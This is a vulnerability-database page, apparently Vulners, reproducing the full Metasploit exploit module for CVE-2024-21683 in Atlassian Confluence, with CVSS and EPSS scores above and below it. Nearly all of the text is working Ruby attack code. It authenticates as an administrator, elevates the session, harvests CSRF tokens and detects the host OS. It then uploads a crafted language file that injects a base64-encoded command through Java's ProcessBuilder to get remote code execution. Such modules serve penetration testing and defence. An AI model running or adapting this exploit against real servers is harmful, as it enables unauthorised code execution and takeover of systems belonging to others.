Lucene search

K
metasploitAnkita Sawlani, Huong Kieu, W01fh4cker, remmons-r7MSF:EXPLOIT-MULTI-HTTP-ATLASSIAN_CONFLUENCE_RCE_CVE_2024_21683-
HistoryJul 09, 2024 - 7:19 p.m.

Atlassian Confluence Administrator Code Macro Remote Code Execution

2024-07-0919:19:15
Ankita Sawlani, Huong Kieu, W01fh4cker, remmons-r7
www.rapid7.com
69
atlassian
confluence
administrator
code macro
remote code execution
cve-2024-21683
rhino script engine
arbitrary code execution
authentication
user privileges
host os
remote code execution
vulnerability
text files
version 7.17
version 8.9.0

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.7

Confidence

Low

EPSS

0.944

Percentile

99.3%

This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence, tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will authenticate, validate user privileges, extract the underlying host OS information, then trigger remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions up to 8.9.0.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Administrator Code Macro Remote Code Execution',
        'Description' => %q{
          This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,
          tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating
          tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will
          authenticate, validate user privileges, extract the underlying host OS information, then trigger
          remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions
          up to 8.9.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ankita Sawlani', # Discovery
          'Huong Kieu', # Public Analysis
          'W01fh4cker', # PoC Exploit
          'remmons-r7'  # MSF Exploit
        ],
        'References' => [
          ['CVE', '2024-21683'],
          ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-95832'],
          ['URL', 'https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated'],
          ['URL', 'https://github.com/W01fh4cker/CVE-2024-21683-RCE']
        ],
        'DisclosureDate' => '2024-05-21',
        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default, `confluence` on Linux by default.
        'Platform' => ['unix', 'linux', 'win'],
        'Arch' => [ARCH_CMD],
        'DefaultTarget' => 0,
        'Targets' => [ [ 'Default', {} ] ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          # The access log files will contain requests to the exploitable administrator dashboard endpoints.
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        # By default, Confluence serves an HTTP service on TCP port 8090.
        Opt::RPORT(8090),
        OptString.new('TARGETURI', [true, 'The URI path to Confluence', '/']),
        OptString.new('ADMIN_USER', [true, 'The Confluence administrator username', '']),
        OptString.new('ADMIN_PASS', [true, 'The Confluence administrator password', ''])
      ]
    )
  end

  def check
    # Begin by retrieving the version string from the login page.
    version = get_confluence_version
    return CheckCode::Unknown('Failed to determine the Confluence version') unless version

    # Check the extracted version against all documented vulnerable versions.
    if version == Rex::Version.new('8.9.0') ||
       version.between?(Rex::Version.new('8.8.0'), Rex::Version.new('8.8.1')) ||
       version.between?(Rex::Version.new('8.7.0'), Rex::Version.new('8.7.2')) ||
       version.between?(Rex::Version.new('8.6.0'), Rex::Version.new('8.6.2')) ||
       version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.8')) ||
       version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.5')) ||
       version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.4')) ||
       version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.3')) ||
       version.between?(Rex::Version.new('8.1.0'), Rex::Version.new('8.1.4')) ||
       version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.4')) ||
       version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('7.20.3')) ||
       version.between?(Rex::Version.new('7.19.0'), Rex::Version.new('7.19.21')) ||
       version.between?(Rex::Version.new('7.18.0'), Rex::Version.new('7.18.3')) ||
       version.between?(Rex::Version.new('7.17.0'), Rex::Version.new('7.17.5')) ||
       # According to Atlassian, all versions < 7.17 are vulnerable.
       version.between?(Rex::Version.new('0.0.0'), Rex::Version.new('7.16.999'))
      Exploit::CheckCode::Appears("Exploitable version of Confluence: #{version}")
    else
      Exploit::CheckCode::Safe("Non-exploitable version of Confluence: #{version}")
    end
  end

  def login(username, password)
    # Perform a POST request to login to Confluence with the provided credentials.
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'dologin.action'),
      'keep_cookies' => 'true',
      'vars_post' => {
        'os_username' => username,
        'os_password' => password,
        'os_destination' => '%2FXsuccessX'
      }
    )
  end

  def elevate
    # Elevates the current administrator session. By default, administrator sessions will remain elevated for two minutes after this takes place.
    vprint_status('Secure Administrator Sessions enabled - elevating session')

    # Grab a CSRF token from the elevation page form.
    csrf_elevation = get_csrf('doauthenticate.action', 'elevation')

    # With the valid elevation token, escalate the current administrator session.
    res_elevate = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'doauthenticate.action'),
      'keep_cookies' => 'true',
      'vars_post' => {
        'atl_token' => csrf_elevation,
        'password' => datastore['ADMIN_PASS'],
        'authenticate' => 'Confirm',
        'destination' => '%2FXsuccessX'
      }
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected during privilege elevation') unless res_elevate

    # Confirm that the response indicates a successful elevation.
    fail_with(Failure::UnexpectedReply, 'The session elevation appears to have failed') unless res_elevate.code == 302 && res_elevate.headers['Location'].include?('XsuccessX')

    vprint_status('Administrator session has been elevated')
  end

  def get_csrf(page, operation)
    # Perform a GET request to the target page to grab a CSRF token.
    res_get_csrf = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, page)
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, "Target did not respond as expected when fetching #{operation} CSRF token") unless res_get_csrf

    # If the response is not 200 and does not contain the string "atl_token", the target page has behaved unexpectedly.
    fail_with(Failure::UnexpectedReply, "Target returned a response that did not contain #{operation} CSRF token") unless res_get_csrf.code == 200 && res_get_csrf.body.include?('atl_token')

    # Response page should contain '<input type="hidden" name="atl_token" value="tokenhere">'.
    csrf_token = res_get_csrf.get_xml_document.xpath('//input[@name="atl_token"]').first&.values&.[](2)

    # Token should be 40 characters.
    fail_with(Failure::UnexpectedReply, "Target did not return the expected 40-character #{operation} CSRF token") unless csrf_token&.length == 40

    vprint_status("Grabbed #{operation} CSRF token: #{csrf_token}")

    csrf_token
  end

  def get_host_os
    # Elevated Confluence administrators can view system information, which will be used to confirm the target OS.
    res_sysinfo = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, 'admin', 'systeminfo.action')
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected while getting host OS') unless res_sysinfo

    # Confirm that the response is the expected system info page.
    fail_with(Failure::UnexpectedReply, 'The system information page failed to return the expected data') unless res_sysinfo.code == 200 && res_sysinfo.body.include?('operating.system')

    # Extract the OS string from the response DOM.
    os = res_sysinfo.get_xml_document.xpath('//span[@id="operating.system"]').first&.text
    vprint_status("Target returned the operating system string '#{os}'")

    # If the string begins with "win", assume the host is Windows. If it's anything else, assume it's something Unix-based.
    os.downcase.start_with?('win') ? 'win' : 'nix'
  end

  def upload_payload(shell)
    # Grab a valid macro dashboard CSRF token.
    csrf_macro = get_csrf('/admin/plugins/newcode/configure.action', 'macro')

    # Initialize a multipart form.
    payload_form = Rex::MIME::Message.new

    # ProcessBuilder string - this will inject the sh/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.
    payload_string = "new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(payload.encoded)}'))).start()"

    # Add the CSRF token, payload file, and 'newLanguageName' value. Both the 'languageFile' name and the 'newLanguageName' value can be any string.
    payload_form.add_part(csrf_macro, 'text/plain', 'binary', 'form-data; name="atl_token"')
    payload_form.add_part(payload_string, 'text/plain', 'binary', "form-data; name=\"languageFile\"; filename=\"#{rand_text_hex(10)}\"")
    payload_form.add_part(rand_text_hex(10), 'text/plain', 'binary', 'form-data; name="newLanguageName"')

    vprint_status("Crafted ProcessBuilder payload string: #{payload_string}")
    vprint_status('Sending POST request to trigger code execution')

    # POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore.
    res_upload = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'plugins', 'newcode', 'addlanguage.action'),
      'keep_cookies' => 'true',
      'ctype' => "multipart/form-data; boundary=#{payload_form.bound}",
      'data' => payload_form.to_s
    )

    # Connection failure, no response, or malformed response.
    print_error('Target did not respond as expected during code execution attempt') unless res_upload

    # If the response to the multipart request does not return a 200.
    print_error('The application returned a non-200 response during code execution attempt') unless res_upload.code == 200
  end

  def exploit
    # Authenticate to Confluence.
    res_login = login(datastore['ADMIN_USER'], datastore['ADMIN_PASS'])

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected during authentication') unless res_login

    # If authentication does not result in a redirect with the provided "XsuccessX" 'Location' header value.
    fail_with(Failure::BadConfig, 'The target did not accept the provided credentials') unless res_login.code == 302 && res_login.headers['Location'].include?('XsuccessX')

    vprint_status('Successfully authenticated to Confluence')

    # Attempt to fetch a privileged page with the provided valid credentials to confirm the user is an administrator.
    res_check_admin = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => 'true',
      'uri' => normalize_uri(target_uri.path, 'admin', 'console.action')
    )

    # Connection failure, no response, or malformed response.
    fail_with(Failure::Unknown, 'Target did not respond as expected during privilege check') unless res_check_admin

    # If a 'Location' header is returned in the response, the current session doesn't have full privileges.
    if res_check_admin.headers['Location']

      # Confluence will redirect to the login page if the current user does not have admin privileges, so check for that here.
      if res_check_admin.headers['Location'].include?('login.action')
        fail_with(Failure::BadConfig, 'The provided credentials are valid, but the user does not have administrative privileges')
      end

      vprint_status('The provided user is an administrator')

      # Check whether Secure Administrator Sessions feature (sudo-like elevation prompt) is enabled. This feature is default on newer versions.
      if res_check_admin.headers['Location'].include?('authenticate.action')
        elevate
      end

    # User is an administrator and Secure Administrator Sessions is disabled.
    else
      vprint_status('The provided user is an administrator')
    end

    # As an administrator, check the host OS for selection between sh/cmd.exe in payload
    shell = get_host_os == 'win' ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'

    # Upload a text file containing a payload to be evaluated by the script engine
    upload_payload(shell)
  end

end

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.7

Confidence

Low

EPSS

0.944

Percentile

99.3%

Related for MSF:EXPLOIT-MULTI-HTTP-ATLASSIAN_CONFLUENCE_RCE_CVE_2024_21683-